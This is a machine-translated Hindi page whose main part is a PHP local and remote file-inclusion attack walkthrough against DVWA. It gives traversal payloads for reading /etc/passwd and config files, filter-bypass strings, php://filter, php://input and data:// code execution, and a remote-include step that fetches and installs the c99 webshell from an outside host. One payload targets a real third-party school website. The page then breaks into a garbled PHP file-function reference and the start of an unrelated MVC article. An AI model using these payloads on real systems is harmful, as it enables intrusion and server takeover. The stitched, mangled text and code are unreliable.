काल्पनिक दृश्य php फ़ाइल. फ़ाइल - किसी फ़ाइल की सामग्री को पढ़ता है और उसे एक सरणी में डालता है। सर्वर पर फ़ाइलों के साथ कार्य करना

कभी-कभी फ़ाइल इंजेक्शन को समावेशन कहा जाता है, कभी-कभी इसे PHP इंजेक्शन (कोड इंजेक्शन) का हिस्सा माना जाता है। उत्तरार्द्ध पूरी तरह से सच नहीं है, क्योंकि फ़ाइल इंजेक्शन कमजोरियाँ आवश्यक रूप से कोड निष्पादन से संबंधित नहीं हैं।

(PHP में) अभिव्यक्तियों का उपयोग करते समय भेद्यता उत्पन्न हो सकती है जैसे:

  • एक बार आवश्यकता होती है,
  • शामिल करें_एक बार,
  • शामिल करना,
  • ज़रूरत होना

उनमें से प्रत्येक में छोटी-छोटी बारीकियाँ हैं, लेकिन उनमें जो समानता है वह यह है कि वे प्रोग्राम में एक फ़ाइल शामिल करते हैं और उसे निष्पादित करते हैं। यदि ये अभिव्यक्तियाँ उपयोगकर्ता इनपुट को पास कर देती हैं और प्रोग्राम इसे पर्याप्त रूप से फ़िल्टर नहीं करता है तो समस्याएँ पैदा हो सकती हैं।

वैसे, हाँ, ये अभिव्यक्तियाँ हैं, कार्य नहीं। ऐसा लिखना जरूरी नहीं:

आवश्यकता ("somefile.php");

एक अधिक पसंदीदा विकल्प है:

"somefile.php" की आवश्यकता है;

लेकिन यह एक वापसी है जिसका भेद्यता से कोई लेना-देना नहीं है।

यदि फ़ाइलें require_once, include_once, include, require अभिव्यक्तियों का उपयोग करके शामिल की जाती हैं, तो हम कह सकते हैं कि कोड इंजेक्शन भी उसी समय होता है। हालाँकि, सर्वर पर कोड चलाए बिना फ़ाइलें शामिल करना संभव है। उदाहरण के लिए, एक वेबसाइट उपयोगकर्ता द्वारा चुनी गई थीम के आधार पर अपना स्वरूप बदलती है। थीम का नाम सर्वर पर पढ़ी जाने वाली HTML फ़ाइलों के नाम से मेल खाता है। इस स्थिति में, यदि अनुरोध इस तरह से बनाया गया है कि किसी फ़ाइल को पढ़ा जाए जो इसके लिए अभिप्रेत नहीं है (उदाहरण के लिए, एक PHP फ़ाइल), तो कमांड निष्पादित करने के बजाय, PHP स्रोत कोड प्रदर्शित किया जाएगा।

उपयोगकर्ता किसी दूरस्थ या स्थानीय फ़ाइल को समावेशन फ़ाइल के रूप में निर्दिष्ट कर सकता है। इसके आधार पर, दो संगत किस्मों को प्रतिष्ठित किया जाता है:

  • स्थानीय फ़ाइल इंजेक्शन
  • दूरस्थ फ़ाइल इंजेक्शन

दूरस्थ समावेशन का खतरा एक कमजोर सर्वर पर मनमाने कोड का निष्पादन है। इसका उपयोग आमतौर पर पिछले दरवाजे से होने वाले संक्रमण के लिए किया जाता है।

स्थानीय फ़ाइल इंजेक्शन का ख़तरा यह है कि उपयोगकर्ता उन फ़ाइलों की सामग्री प्रदर्शित कर सकता है जिन्हें देखने का उसके पास अधिकार नहीं है (प्रोग्राम स्रोत कोड, सेटिंग्स और पासवर्ड के साथ सिस्टम फ़ाइलें)। इसके अलावा, स्थानीय समावेशन के साथ, तृतीय-पक्ष कोड निष्पादित करना संभव है (उदाहरण के लिए, पिछले दरवाजे से संक्रमण के लिए), यदि दुर्भावनापूर्ण कोड वाली फ़ाइल पहले सर्वर पर अपलोड की गई थी, या लॉग पॉइज़निंग विधि का उपयोग किया गया था, या कुछ अन्य तरीके।

फ़ाइलों का स्थानीय समावेशन दूरस्थ फ़ाइलों के परिचय से कम खतरनाक नहीं है।

स्थानीय फ़ाइल एम्बेडिंग का शोषण

आप डेमन वल्नरेबल वेब एप्लिकेशन (DVWA) में इस भेद्यता पर अपना हाथ आज़मा सकते हैं। मैं वेब सुरक्षा डोजो का उपयोग कर रहा हूं, जहां DVWA पहले से ही स्थापित है।

आइए निम्न स्तर (निम्न DVWA सुरक्षा) से प्रारंभ करें।

आइए फ़ाइल समावेशन पृष्ठ पर जाएँ http://localhost/dvwa/volnerability/fi/?page=include.php

  • http://localhost/dvwa/volnerability/fi/?page=file1.php
  • http://localhost/dvwa/volnerability/fi/?page=file2.php
  • http://localhost/dvwa/volnerability/fi/?page=file3.php

यदि किसी फ़ाइल नाम (फ़ाइल 1.php, फ़ाइल 2.php) के समान मान को एक चर के तर्क के रूप में पारित किया जाता है, तो हम मान सकते हैं कि एक शामिल का उपयोग किया जा रहा है। चूँकि फ़ाइल एक्सटेंशन .php है, फ़ाइल को सर्वर पर निष्पादित होने की सबसे अधिक संभावना है (यानी कोड इंजेक्शन संभव है) और केवल प्रदर्शन के लिए प्रदर्शित नहीं किया गया है।

DVWA का एक पेज है http://localhost/dvwa/about.php, यह दो स्तर ऊपर स्थित है, आइए इसे इस तरह देखने का प्रयास करें: http://localhost/dvwa/wlnerability/fi/?page=../। ./ के बारे में.php

हाँ, स्थानीय समावेशन भेद्यता है। प्रवेश करते समय, ऊपरी निर्देशिकाओं (../) में संक्रमण को फ़िल्टर नहीं किया जाता है; समावेशन के लिए फ़ाइलों की सूची संपूर्ण नहीं है (सुझाई गई फ़ाइल*.php के बजाय, हमने about.php को चुना है)।

कभी-कभी शामिल फ़ाइलों का उपयोग किया जाता है, लेकिन उदाहरण के लिए, पते इस तरह दिख सकते हैं: http://localhost/dvwa/volnerability/fi/?page=file1. इस स्थिति में, स्क्रिप्ट में एक एक्सटेंशन जोड़ा जा सकता है और स्क्रिप्ट एक फ़ाइल को एम्बेड करती है जिसका नाम अंततः स्क्रिप्ट में बनता है। आमतौर पर, इस रूप में भेद्यता का शोषण करना कठिन/असंभव है।

अक्सर लोग स्थानीय फ़ाइल समावेशन के दोहन के उदाहरण के रूप में कुछ इस तरह देना पसंद करते हैं:

http://localhost/dvwa/volnerability/fi/?page=../../../../../../../etc/passwd

जैसा कि हम देख सकते हैं, इसने काम किया। लेकिन चूंकि वेब ब्राउज़र /r/n (न्यूलाइन वर्ण) को अनदेखा करते हैं, इसलिए हमें प्रविष्टियों को पढ़ने योग्य बनाने के लिए कोड को ओपन सोर्स करने की आवश्यकता है:

दुर्भाग्यवश, लंबे समय से /etc/passwd फ़ाइल में कोई पासवर्ड नहीं है।

सर्वर से आप विभिन्न सेटिंग्स फ़ाइलें, एसएसएल प्रमाणपत्र, सिद्धांत रूप में, कोई भी फ़ाइल खींच सकते हैं जो सभी उपयोगकर्ताओं द्वारा पढ़ने के लिए खुली है या जिसे वेब सर्वर के पास पढ़ने के लिए पर्याप्त अधिकार हैं:

http://localhost/dvwa/volnerability/fi/?page=../../../../../../../etc/apache2/apache2.conf

जहां तक ​​साझा होस्टिंग का सवाल है, कभी-कभी अन्य लोगों के फ़ोल्डरों में देखना संभव होता है (फिर से, यदि उपयोगकर्ता अधिकार गलत तरीके से कॉन्फ़िगर किए गए हैं)।

http://localhost/dvwa/volnerability/fi/?page=../../../evil/sqlite.db

कार्य इस तथ्य से जटिल है कि हमें फ़ाइल का पथ जानने की आवश्यकता है।

दूरस्थ फ़ाइल इंजेक्शन का संचालन

PHP एक बहुत ही लचीली और डेवलपर-अनुकूल प्रोग्रामिंग भाषा है। फ़ाइल एम्बेडिंग कमांड और कुछ अन्य न केवल स्थानीय फ़ाइलों, बल्कि यूआरएल को भी पूरी तरह से पहचानते हैं और सही ढंग से संसाधित करते हैं...

आइए फ़ाइल नाम के स्थान पर साइट URL https://site/ लिखने का प्रयास करें:

http://localhost/dvwa/vulnerability/fi/?page=https://site/

देखो यह कितना दिलचस्प निकला:

निम्नलिखित हुआ: PHP दुभाषिया को फ़ाइल/साइट https://site/ को शामिल करने का आदेश प्राप्त हुआ। उसने संबंधित पता खोला/डाउनलोड किया और परिणामी कोड को PHP प्रोग्राम के रूप में निष्पादित करने के लिए भेजा। चूंकि PHP केवल उचित टैग से घिरे कोड को निष्पादित करता है (इस मामले में कोई कोड नहीं था) और बाकी सब कुछ वैसे ही आउटपुट करता है, संपूर्ण वेबसाइट पेज वैसे ही आउटपुट होता है।

बेशक, यह भेद्यता हमारे लिए दिलचस्प नहीं है क्योंकि हम एक साइट के माध्यम से अन्य साइटों को देख सकते हैं।

  • पिछले दरवाजे से स्रोत कोड तैयार करना/ढूंढना
  • हम एक फ़ाइल बनाते हैं जो सर्वर पर निष्पादन के लिए PHP के दृष्टिकोण से सही है, जो PHP फ़ाइल में बैकडोर स्रोत कोड को सहेजता है
  • प्राप्त कोड को टेक्स्ट फ़ाइल में सहेजें
  • इस टेक्स्ट फ़ाइल को नियंत्रित सर्वर पर अपलोड करें
  • हम दूरस्थ फ़ाइल समावेशन का उपयोग करके अपने पिछले दरवाजे को एक कमजोर सर्वर पर सहेजते हैं
  • मैंने "टेक्स्ट" शब्द को इस कारण से हाइलाइट किया है कि हमारे नियंत्रण वाले सर्वर पर एक टेक्स्ट फ़ाइल होनी चाहिए जिसे हमारे सर्वर पर निष्पादित नहीं किया जाना चाहिए। हमारे सर्वर को केवल इसकी सामग्री दिखाने की आवश्यकता है।

    बैकडोर बनाने के लिए, आप वीवली, PhpSploit का उपयोग कर सकते हैं, या आप तैयार समाधान ले सकते हैं। आइए इस बार रेडीमेड का उपयोग करें।

    मैं $backdoor वैरिएबल को बैकडोर का सोर्स कोड निर्दिष्ट करूंगा, जिसे मैं Github से डाउनलोड करता हूं। फिर मैं परिणामी स्रोत कोड को c99unlimited.php फ़ाइल में सहेजने के लिए file_put_contents फ़ंक्शन का उपयोग करता हूं।

    कोड मैंने एक टेक्स्ट फ़ाइल में रखा है

    $backdoor = file_get_contents('https://raw.githubusercontent.com/blackArch/webshells/master/php/c99unlimited.php'); file_put_contents('c99unlimited.php', '$backdoor'); इको "हो गया!";

    यह http://miloserdov.org/sec.txt पर उपलब्ध है

    अब, रिमोट इन्क्लूड का उपयोग करके, हम एक कमजोर सर्वर पर एक बैकडोर अपलोड करते हैं।

    http://localhost/dvwa/volnerability/fi/?page=http://miloserdov.org/sec.txt

    किए गए शिलालेख पर ध्यान दें!, यह लिपि द्वारा प्रदर्शित होता है, अर्थात। संभवतः सब कुछ ठीक हो गया।

    चूंकि स्क्रिप्ट जिसमें फ़ाइलें शामिल हैं वह http://localhost/dvwa/volnerability/fi/ निर्देशिका में स्थित है, और बैकडोर वाली हमारी नई फ़ाइल को c99unlimited.php नाम से सहेजा जाना चाहिए, बैकडोर का पूरा पता असुरक्षित सर्वर होना चाहिए: http://localhost/dvwa/volnerability/fi/c99unlimited.php

    हम जाँच:

    बढ़िया, अब हमारे पास वे सभी सुविधाएं हैं जिनकी एक वेब सर्वर प्रशासक को आवश्यकता हो सकती है... और जिनके पास अपने सर्वर तक पहुंच है।

    फ़ाइलों को स्थानीय रूप से शामिल करते समय फ़िल्टरिंग को बायपास करें

    आइए सुरक्षा के मध्यम स्तर (DVWA सुरक्षा में कॉन्फ़िगर करने योग्य) पर आगे बढ़ें।

    यदि हम स्रोत कोड को देखें (स्रोत बटन देखें):

    तब हम देखेंगे कि ../ वर्ण अब फ़िल्टर हो गए हैं। यह हमें उस निर्देशिका से ऊंची निर्देशिका में जाने से रोकेगा जिसमें कमजोर स्क्रिप्ट चल रही है।

    वे। इस तरह कुछ भी काम नहीं करेगा:

    http://localhost/dvwa/volnerability/fi/?page=../../../../../../../etc/mysql/my.cnf

    आइए सोचें कि इस मामले में फ़िल्टरिंग कैसे काम करती है? मान लीजिए कि "बुरा" शब्द फ़िल्टर किया गया है, फिर एक पंक्ति जैसी

    अच्छा बुरा अच्छा

    फ़िल्टर करने के बाद यह इस तरह दिखेगा:

    अच्छा अच्छा

    और अगर आप इस तरह की लाइन डालेंगे

    बुरा बुरा एक्सओ

    फिर छानने के बाद ("खराब" हटा दिया जाएगा) यह निकलेगा

    बुरी तरह

    ../ में हम फिर से बीच में ../ डालते हैं, यह निकलता है ..././

    आइए इस पते को आज़माएँ http://localhost/dvwa/volnerability/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    इसने काम किया!

    एक अन्य समाधान वर्णों को हेक्साडेसिमल एन्कोडिंग में एन्कोड करना हो सकता है, इस पंक्ति का एक उदाहरण:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" को "%2E%2E%2f" से बदला जा सकता है।

    डबल हेक्स एन्कोडिंग का भी अभ्यास किया जाता है, जिसमें "../" को "%252E%252E%252F" से बदल दिया जाता है।

    किसी स्क्रिप्ट में एक्सटेंशन जोड़ते समय फ़ाइलों का स्थानीय समावेशन

    यदि फ़ाइलों सहित कोड इस प्रकार दिखता है:

    वे। यदि किसी उपयोगकर्ता इनपुट में .php या कोई अन्य एक्सटेंशन जोड़ा जाता है, तो यह अनुरोध को इस तरह से बनाने की अनुमति नहीं देता है कि किसी हमले को अंजाम दिया जा सके।

    ऐसी कई तकनीकें हैं जो एक्सटेंशन को त्यागने के लिए डिज़ाइन की गई हैं, लेकिन उन्हें अप्रचलित माना जा सकता है क्योंकि वे PHP 5.3 पर काम करती हैं, और तब भी सभी संस्करणों पर नहीं। हालाँकि, वेब सर्वर प्रशासक चिकित्सकीय रूप से रूढ़िवादी हैं और यदि कोई चीज़ काम कर रही है तो उसे छूना पसंद नहीं करते हैं। वे। PHP के बहुत प्राचीन संस्करण वाले सर्वर का सामना करने की संभावना है, और आपको इन तकनीकों के बारे में पता होना चाहिए।

    शून्य बाइट %00 (शून्य बाइट) का उपयोग करना

    एक्सटेंशन को अनदेखा करने के अनुरोध के अंत में एक शून्य बाइट जोड़ा जाता है:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    दूसरी विधि को पथ प्रूनिंग आक्रमण कहा जाता है। लब्बोलुआब यह है कि PHP 4096 बाइट्स से अधिक लंबे पथों को छोटा कर देता है। इस स्थिति में, PHP फ़ाइल को सही ढंग से खोलता है, भले ही उसके नाम के अंत में स्लैश और बिंदु हों। यदि आप एक पैरामीटर के रूप में कुछ इस तरह से पास करते हैं?param1=../../../../etc/passwd/./././././ (जहां ./ कई हजारों बार दोहराया जाता है), तो एक्सटेंशन के साथ अंतिम फ़ाइल (जिसे स्क्रिप्ट ने जोड़ा, जिसके परिणामस्वरूप फ़ाइल का नाम include/../../../../etc/passwd/./././././ हो गया) .php) को त्याग दिया जाएगा। और फ़ाइल का नाम include/../../../../etc/passwd/./././././ होगा। और चूंकि PHP फ़ाइल के अंत में स्लैश और ./ के पीछे आने से भ्रमित नहीं होता है, यह बस उन्हें अनदेखा करता है, कुल मिलाकर PHP फ़ाइल को पथ के साथ खोलेगा include/../../../../etc/ passwd.

    दूरस्थ फ़ाइल इंजेक्शन के लिए फ़िल्टरिंग को दरकिनार करना

    जैसा कि हमने पहले ही स्रोत कोड में देखा था, मध्यम सुरक्षा स्तर http:// और https:// को भी फ़िल्टर कर देता है।

    अब http://localhost/dvwa/volnerability/fi/? हम स्थानीय समावेशन के साथ फ़िल्टरिंग को बायपास करने के लिए बिल्कुल उसी तकनीक का उपयोग करेंगे। उत्पन्न अनुरोध:

    http://localhost/dvwa/vulnerability/fi/?page=htthttps://ps://site/

    और यह भी ध्यान दें कि इसे फ़िल्टर नहीं किया गया है, उदाहरण के लिए ftp, यानी। यह विकल्प बिना किसी तरकीब के काम करेगा:

    http://localhost/dvwa/vulnerability/fi/?page=ftp://site/

    Php://filter से फ़ाइलें शामिल करते समय PHP स्क्रिप्ट का स्रोत कोड प्राप्त करना

    इस ट्रिक के लिए दूरस्थ फ़ाइल समावेशन की आवश्यकता नहीं है। एक प्रकार का मेटा रैपर php://filter का उपयोग किया जाएगा।

    मान लीजिए कि हम फ़ाइल file1.php का स्रोत कोड देखना चाहते हैं, तो हमारी स्थिति के लिए अनुरोध इस प्रकार तैयार किया जाएगा:

    http://localhost/dvwa/volnerability/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    अक्षरों और संख्याओं की अर्थहीन स्ट्रिंग पर ध्यान दें - यह बेस64 एन्कोडिंग में फ़ाइल 1.php फ़ाइल का स्रोत कोड है। चूँकि यह बेस64 है, बाइनरी फ़ाइलें भी समर्थित हैं।

    आइए फ़ाइल को डीकोड करें:

    php://input के साथ रिमोट कोड निष्पादन

    यह फ़ाइल एम्बेडिंग की तरह नहीं है और फिर आपको फ़ाइलें अपलोड करने की आवश्यकता नहीं है।

    मदद के लिए, मैं फ़ायरफ़ॉक्स एक्सटेंशन का उपयोग करूंगा, आप इसका या किसी अन्य प्रोग्राम (उदाहरण के लिए, कर्ल) का भी उपयोग कर सकते हैं जो POST विधि का उपयोग करके डेटा स्थानांतरित कर सकता है।

    php://input के पास HTTP अनुरोध के मूल भाग तक पहुंच है, यह समझने के लिए कि include('php://input') क्या करता है, पृष्ठ खोलें

    http://localhost/dvwa/vulnerability/fi/?page=php://input

    और अनुरोध के मुख्य भाग में, सही PHP कोड भेजें (उदाहरण के लिए, POST विधि का उपयोग करके)। यह आपको दूरस्थ सर्वर पर अनुमत कोई भी कार्य करने की अनुमति देगा!

    डेटा के साथ रिमोट कोड निष्पादन://

    इसके अतिरिक्त, PHP data:// URL योजना का समर्थन करता है। आप कोड को सीधे GET पैरामीटर में रख सकते हैं! निम्नलिखित परीक्षण के लिए हमले को अंजाम देने के लिए किसी विशेष उपकरण की आवश्यकता नहीं है, बस एक नियमित ब्राउज़र की आवश्यकता है।

    http://localhost/dvwa/vulnerability/fi/?page=data:text/plaintext,

    कुछ वेब एप्लिकेशन फ़ायरवॉल URL में एक संदिग्ध स्ट्रिंग देख सकते हैं और दुर्भावनापूर्ण अनुरोध को ब्लॉक कर सकते हैं। लेकिन स्ट्रिंग को कम से कम बेस64 एन्कोडिंग के साथ एन्क्रिप्ट करने का एक तरीका है:

    http://localhost/dvwa/vulnerability/fi/?page=data:text/plain;base64, PD9waHAgcGwaW5mbygpOyA/Pg==

    /proc/self/environ से मनमाने आदेश निष्पादित करें

    /proc/self/environ प्रक्रिया परिवर्तनीय भंडारण है। यदि अपाचे प्रक्रिया के पास इसे एक्सेस करने के पर्याप्त अधिकार हैं, तो एक वेब पेज खोलते समय जिसमें एक समान यूआरएल शामिल होता है,

    www.website.com/view.php?page=../../../../../proc/self/environ

    कुछ इस तरह आउटपुट देगा

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, एप्लिकेशन/xml;q=0.9, एप्लिकेशन/xhtml+xml, इमेज/png, इमेज/jpeg, इमेज/gif, इमेज/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [ईमेल सुरक्षित] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    HTTP_USER_AGENT पर ध्यान दें. इसके बजाय, आप सही PHP कोड को प्रतिस्थापित कर सकते हैं, जिसे रिमोट सर्वर पर निष्पादित किया जाएगा।

    स्थानीय रूप से फ़ाइलों को शामिल करते समय लॉग की नक़्क़ाशी और इंजेक्शन

    दुर्भाग्य से, यह विधि अब अपाचे के हाल के संस्करणों पर काम नहीं करती है।

    इसका सार इस तथ्य में निहित है कि हमलावर का कोड वेब सर्वर लॉग में इंजेक्ट किया जाता है। यह User-Agent को प्रतिस्थापित करके, या यहां तक ​​कि इसे GET पैरामीटर में पास करके भी किया जा सकता है।

    किसी दूरस्थ फ़ाइल का स्थैतिक इंजेक्शन

    स्थैतिक के उदाहरण में शामिल हैं:

    आप बहुत ही आकर्षक स्थितियों में स्थैतिक समावेशन का उपयोग कर सकते हैं। दुर्भावनापूर्ण कोड को इंजेक्ट करने के लिए, दो सर्वरों के बीच एक मैन-इन-द-मिडिल हमले को अंजाम देना आवश्यक है: जिनमें से एक शामिल का उपयोग करके वेब एप्लिकेशन को होस्ट करता है, और दूसरा समावेशन के लिए उपयोग की जाने वाली फ़ाइल को होस्ट करता है।

    PHP file_exists("test.txt")//क्या फ़ाइल मौजूद है? फाइलसाइज("test.txt");//फ़ाइल का आकार पता करें //टाइमस्टैम्प वापस आ गया है: फाइलटाइम("test.txt");//फ़ाइल तक अंतिम पहुंच की तिथि //दिनांक("डी एम वाई" , $atime); filemtime("test.txt");//फ़ाइल संशोधन की तिथि //दिनांक("d M Y", $mtime); filectime("test.txt");//फ़ाइल निर्माण दिनांक (विंडोज़) //दिनांक("d M Y", $ctime); फ़ाइलें: ऑपरेटिंग मोड PHP संसाधन फ़ोपेन (स्ट्रिंग फ़ाइल नाम, स्ट्रिंग मोड) // संसाधन - सफलता के मामले में फ़ाइल पर एक पॉइंटर लौटाता है, या त्रुटि के मामले में FALSE लौटाता है ऑपरेटिंग मोड विवरणआर आर+ डब्ल्यू डब्ल्यू+ ए ए+ बी
    फ़ाइल को केवल पढ़ने के लिए खोलें;
    पढ़ने और लिखने के लिए फ़ाइल खोलें;
    फ़ाइल को केवल लिखने के लिए खोलें. यदि यह मौजूद है, तो फ़ाइल की वर्तमान सामग्री नष्ट हो जाती है। वर्तमान स्थिति आरंभ पर सेट है;
    पढ़ने और लिखने के लिए फ़ाइल खोलें. यदि यह मौजूद है, तो फ़ाइल की वर्तमान सामग्री नष्ट हो जाती है। वर्तमान स्थिति आरंभ पर सेट है;
    लिखने के लिए फ़ाइल खोलें. वर्तमान स्थिति फ़ाइल के अंत में सेट है;
    पढ़ने और लिखने के लिए फ़ाइल खोलें. वर्तमान स्थिति फ़ाइल के अंत में सेट है;
    बाइनरी फ़ाइल को संसाधित करें। विंडोज़ पर बाइनरी फ़ाइलों के साथ काम करते समय इस ध्वज की आवश्यकता होती है।
    PHP में फ़ाइलें खोलना और बंद करना PHP $fi = fopen("test.html", "w+") याdie("त्रुटि"); //उदाहरण $fi = fopen('http://www.you/test.html','r'); $fi = fopen('http://ftp.you/test.html', 'r'); //fclose को बंद करें($fi) PHP में फ़ाइलें पढ़ना PHP //फ़ाइल को पढ़ना fread(int fi, int length) $str = fread($fi, 5); // पहले 5 अक्षर पढ़ें echo $str; // चूंकि कर्सर $str = fread($fi, 12); // अगले 12 अक्षर पढ़ें echo $str; fgets(int fi[, int length]) // एक फ़ाइल से एक पंक्ति पढ़ें fgetss(int fi, int length [, स्ट्रिंग स्वीकार्य]) // एक फ़ाइल से एक पंक्ति पढ़ें और HTML टैग हटा दें // स्ट्रिंग स्वीकार्य - टैग जो छोड़ा जाना चाहिए fgetc(int fi) //फ़ाइल से एक अक्षर पढ़ता है

    प्रारंभ में, मौजूदा डेटा, यदि कोई हो, को ओवरराइट करके, फ़ाइल की शुरुआत में लिखा जाएगा। इसलिए, यदि आपको फ़ाइल के अंत में कुछ लिखना है, तो आपको उपयुक्त रीडिंग मोड सेट करना होगा, उदाहरण के लिए, a+ ।

    PHP फ़ाइलों में कर्सर को हेरफेर करना PHP int fseek(int fi, int offset [, int Whilece]) //कर्सर सेट करना // int fi - फ़ाइल के लिए पॉइंटर //ऑफ़सेट - स्थानांतरित करने के लिए वर्णों की संख्या। //कहां से: //SEEK_SET - फ़ाइल की शुरुआत से आंदोलन शुरू होता है; //SEEK_CUR - आंदोलन वर्तमान स्थिति से शुरू होता है; //SEEK_END - फ़ाइल के अंत से गतिविधि शुरू होती है। fseek($fi, -10, SEEK_END); //अंतिम 10 अक्षर पढ़ें $s = fread($fi, 10); $pos = ftell($fi); // वर्तमान स्थिति का पता लगाएं रिवाइंड ($f) // कर्सर बूल feof ($f) को रीसेट करें // फ़ाइल का अंत PHP PHP सरणी फ़ाइल (स्ट्रिंग फ़ाइल नाम) में फ़ाइलों (डेटा) के साथ सीधा काम // सामग्री प्राप्त करें एक सरणी के रूप में फ़ाइल का // डेटा के साथ सीधे काम करने का एक और विकल्प file_get_contents (स्ट्रिंग फ़ाइल नाम) // पढ़ना (हमें पूरी फ़ाइल एक पंक्ति में मिलती है) // फ़ाइल को लिखना (प्रारंभ में ओवरराइट किया गया) फ़ाइल_put_contents (स्ट्रिंग फ़ाइल नाम) , मिश्रित डेटा[,इंट फ़्लैग]); //FILE_APPEND // फ़ाइल के अंत में लिखें: file_put_contents('test.txt', 'data', FILE_APPEND); //यदि आप एक सरणी लिखते हैं, $array = array('I', 'live'); फ़ाइल_पुट_कंटेंट्स("test.txt",$array); //फिर हमें PHP PHP कॉपी (स्ट्रिंग सोर्स, स्ट्रिंग डेस्टिनेशन) में "Ilive" मैनेजिंग फाइल्स मिलती हैं; // फ़ाइल नाम की प्रतिलिपि बनाना (str पुराना नाम, str नया नाम); // फ़ाइल का नाम बदलें अनलिंक (स्ट्रिंग फ़ाइल नाम); // किसी फ़ाइल को हटाना PHP सर्वर पर फ़ाइलें अपलोड करना // PHP.ini सेटिंग्स फ़ाइल_अपलोड (चालू | बंद) // फ़ाइल अपलोड को अनुमति देना या अक्षम करना upload_tmp_dir // अपलोड की गई फ़ाइलों के लिए अस्थायी फ़ोल्डर। डिफ़ॉल्ट अस्थायी फ़ोल्डर upload_max_filesize (डिफ़ॉल्ट = 2 एमबी) // अधिकतम। अपलोड की गई फ़ाइल का आकार post_max_size // भेजे गए फॉर्म का कुल आकार (upload_max_filesize से अधिक होना चाहिए) // सरल HTML अपलोड हम PHP सर्वर पर फ़ाइलों के साथ काम करते हैं // डेटा प्राप्त करें $tmp = $_FILES["userfile"][" tmp_name"]; $नाम = $_FILES["उपयोगकर्ताफ़ाइल"]["नाम"]; //फ़ाइल को move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/"।name); // फ़ाइल को अपलोड फ़ोल्डर में पुनर्निर्देशित करें // वर्तमान फ़ाइल के सापेक्ष // $_FILES सरणी में क्या है $_FILES["userfile"]["name"] // फ़ाइल का नाम, उदाहरण के लिए, test.html $_FILES[ "उपयोगकर्ताफ़ाइल"]["tmp_name"] // अस्थायी फ़ाइल नाम (पथ) $_FILES["उपयोगकर्ताफ़ाइल"]["आकार"] // फ़ाइल का आकार $_FILES["उपयोगकर्ताफ़ाइल"]["प्रकार"] // फ़ाइल प्रकार $ _फ़ाइलें["उपयोगकर्ताफ़ाइल"] ["त्रुटि"] // 0 - कोई त्रुटि नहीं, संख्या - हाँ बहुत से लोग एक ही कार्य के साथ काम करने के लिए एक प्रोजेक्ट लिखना शुरू करते हैं, इसका मतलब यह नहीं है कि यह एक बहु-उपयोगकर्ता प्रबंधन प्रणाली में विकसित हो सकता है, उदाहरण के लिए , सामग्री या, भगवान न करे, उत्पादन। और सब कुछ बढ़िया और अच्छा लगता है, सब कुछ काम करता है, जब तक आप यह समझना शुरू नहीं करते कि जो कोड लिखा गया है वह पूरी तरह से बैसाखी और हार्ड कोड से बना है। कोड को लेआउट, प्रश्नों और बैसाखियों के साथ मिश्रित किया जाता है, कभी-कभी अपठनीय भी। एक गंभीर समस्या उत्पन्न होती है: नई सुविधाएँ जोड़ते समय, आपको इस कोड के साथ बहुत लंबे समय तक छेड़छाड़ करनी पड़ती है, यह याद रखते हुए कि "वहां क्या लिखा था?" और अतीत में अपने आप को कोसें।

    आपने डिज़ाइन पैटर्न के बारे में भी सुना होगा और इन अद्भुत पुस्तकों का अध्ययन भी किया होगा:

    • ई. गामा, आर. हेल्म, आर. जॉनसन, जे. व्लिसाइड्स “ऑब्जेक्ट-ओरिएंटेड डिज़ाइन तकनीकें। डिजाइन पैटर्न्स";
    • एम. फाउलर "एंटरप्राइज़ सॉफ़्टवेयर अनुप्रयोगों का आर्किटेक्चर।"
    और कई लोगों ने, विशाल मैनुअल और दस्तावेज़ीकरण से निडर होकर, किसी भी आधुनिक ढांचे का अध्ययन करने की कोशिश की और, समझने की जटिलता का सामना किया (चतुराई से जुड़े कई वास्तुशिल्प अवधारणाओं की उपस्थिति के कारण), आधुनिक उपकरणों का अध्ययन और उपयोग बंद कर दिया एक शरण स्थल।"

    यह लेख मुख्य रूप से शुरुआती लोगों के लिए उपयोगी होगा। किसी भी मामले में, मुझे उम्मीद है कि कुछ घंटों में आप एमवीसी पैटर्न के कार्यान्वयन का एक विचार प्राप्त कर पाएंगे, जो सभी आधुनिक वेब ढांचे का आधार है, और "कैसे करें" पर आगे के प्रतिबिंब के लिए "भोजन" भी मिलेगा। इसे करें।" लेख के अंत में उपयोगी लिंक का चयन है जो आपको यह समझने में भी मदद करेगा कि वेब फ्रेमवर्क में क्या शामिल है (एमवीसी के अलावा) और वे कैसे काम करते हैं।

    अनुभवी PHP प्रोग्रामर को इस लेख में अपने लिए कुछ भी नया मिलने की संभावना नहीं है, लेकिन मुख्य पाठ पर उनकी टिप्पणियाँ और टिप्पणियाँ बहुत उपयोगी होंगी! क्योंकि सिद्धांत के बिना अभ्यास असंभव है, और अभ्यास के बिना सिद्धांत बेकार है, तो पहले थोड़ा सिद्धांत होगा, और फिर हम अभ्यास की ओर बढ़ेंगे। यदि आप पहले से ही एमवीसी अवधारणा से परिचित हैं, तो आप सिद्धांत अनुभाग को छोड़ सकते हैं और सीधे अभ्यास पर जा सकते हैं।

